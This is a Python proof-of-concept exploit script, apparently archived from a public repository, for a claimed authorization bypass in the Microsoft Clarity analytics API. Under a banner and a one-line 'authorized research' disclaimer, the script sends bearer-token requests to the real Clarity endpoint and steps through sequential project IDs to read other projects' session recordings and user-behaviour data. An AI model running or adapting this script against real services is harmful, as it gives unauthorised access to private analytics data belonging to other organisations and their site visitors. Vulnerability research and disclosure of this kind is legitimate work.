# Archived for authorized security research only.
# Source: https://github.com/cveForge/CVE-2026-113824 (see README for attribution/license)

BANNER = """
[91m
  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗  ██████╗███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗  ███████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝  ╚════██║
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚██████╔╝██║  ██║╚██████╔╝███████╗███████║
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝
[0m
[93m  CVE-2026-113824 — Microsoft Clarity Authorization Bypass via User-Controlled Key — Cross-Project Session Data Access[0m
[90m  CVSS 9.1 | CRITICAL | CWE-639 | Microsoft Clarity[0m
"""

VERSION = "1.0.0"

import argparse, sys, json, urllib.request, urllib.error

# Microsoft Clarity Authorization Bypass PoC
# CWE-639: Authorization Bypass Through User-Controlled Key
# Affected: Microsoft Clarity analytics platform API < patch 2026-11-19
# Impact: The /api/v1/projects/{projectId}/recordings endpoint uses the
#         projectId path parameter as the sole authorization check without
#         verifying that the authenticated user is a member of that project.
#         Any Clarity user can enumerate session recordings, heatmaps, and
#         user behavior data from arbitrary projects by guessing/enumerating
#         the numeric project ID.

CLARITY_API = "https://clarity.microsoft.com/api/v1/projects"

def enumerate_project(project_id: str, bearer: str) -> tuple:
    """Attempt to access recordings for a project we may not own."""
    url = f"{CLARITY_API}/{project_id}/recordings?take=5&skip=0"
    req = urllib.request.Request(url, headers={
        "Authorization": f"Bearer {bearer}",
        "Accept": "application/json",
    })
    try:
        with urllib.request.urlopen(req, timeout=10) as r:
            return r.status, r.read(2048).decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read(512).decode(errors="replace")
    except urllib.error.URLError as e:
        return -1, str(e.reason)

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-113824 PoC — Microsoft Clarity IDOR")
    parser.add_argument("--bearer",     required=True)
    parser.add_argument("--project-id", required=True, help="Target project ID (numeric)")
    parser.add_argument("--range",      type=int, default=0, help="If >0, also enumerate project_id+1 to +N")
    args = parser.parse_args()
    print(BANNER)
    ids_to_try = [args.project_id] + [str(int(args.project_id)+i) for i in range(1, args.range+1)]
    for pid in ids_to_try:
        status, body = enumerate_project(pid, args.bearer)
        vuln = status == 200 and "recordings" in body.lower()
        print(f"  {'[+] VULNERABLE' if vuln else f'[-] {status}'}  projectId={pid}  data={body[:150].replace(chr(10),' ')}")
    print("[*] Done.")

if __name__ == "__main__":
    main()
